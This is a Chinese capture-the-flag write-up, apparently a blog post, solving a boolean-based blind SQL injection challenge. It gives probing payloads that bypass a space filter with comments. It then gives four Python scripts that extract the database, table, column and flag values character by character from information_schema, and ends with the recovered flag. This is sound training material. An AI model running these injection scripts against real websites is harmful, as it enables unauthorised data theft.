前言

考点是布尔盲注+手撕脚本

正文

主界面就是一个输入框,并且对相应的查询有回显

猜测这里的sql语句是select [成绩] from [数据表] where id=[输入框]

然后回显只有两种一种是查到某个人的成绩一种是student number not exists.

尝试注入if(1,1,2)查询到第一个人,确定这里存在注入点

尝试注入-1 or 1=1--回显student number not exists.

尝试注入-1/**/or/**/1=1–回显一行,判断为过滤空格且前端只显示一行

尝试注入1/**/order/**/by/**/3--,查询到一个人

尝试注入1/**/union/**/select/**/1,2,3--,回显student number not exists.

尝试注入1/**/union/**/select/**/1,2--,回显student number not exists.

尝试注入1/**/union/**/select/**/1--,回显student number not exists.综合判断为布尔盲注

然后手撕一份脚本

爆数据库名

import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(20,50):
    for j in a:
        url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(SCHEMA_NAME),"+str(i)+",1))/**/from/**/information_schema.SCHEMATA)='"+j+"',1,2)#"
        t = s.get(url,timeout=3)
        time.sleep(0.1)
        if("admin" in t.text):  
            zzz=zzz+j
            print(zzz)
            break

当然用二分差查找更加快,但是算法有点难理解就用最传统的方法查询了,只查到一个数据库ctf

爆数据表名

import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
    for j in a:
        url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(TABLE_NAME),"+str(i)+",1))from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=database())='"+j+"',1,2)#"
        t = s.get(url,timeout=3)
        time.sleep(0.1)
        if("admin" in t.text):  
            zzz=zzz+j
            print(zzz)
            break

得到两个表flag,score这加号怎么来的我也不太清楚也没发现哪里有问题呀>

爆字段

import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
    for j in a:
        url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(COLUMN_NAME),"+str(i)+",1))from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME='flag')='"+j+"',1,2)#"
        t = s.get(url,timeout=3)
        time.sleep(0.1)
        if("admin" in t.text):  
            zzz=zzz+j
            print(zzz)
            break

得到flag和value,盲猜flag在value里面

爆数据值

import requests,time
a='{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}'
s=requests.session()
zzz=""
for i in range(50):
    for j in a:
        url="http://866919b7-6bd9-400a-83db-659516877199.node3.buuoj.cn/?stunum=if((select(substr(group_concat(value),"+str(i)+",1))from/**/flag/**/limit/**/0,1)='"+j+"',1,2)#"
        t = s.get(url,timeout=3)
        time.sleep(0.1)
        if("admin" in t.text):  
            zzz=zzz+j
            print(zzz)
            break

最后得到flag

flag{05279d94-1e94-4cdd-8f78-fbd8e094d66b}
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...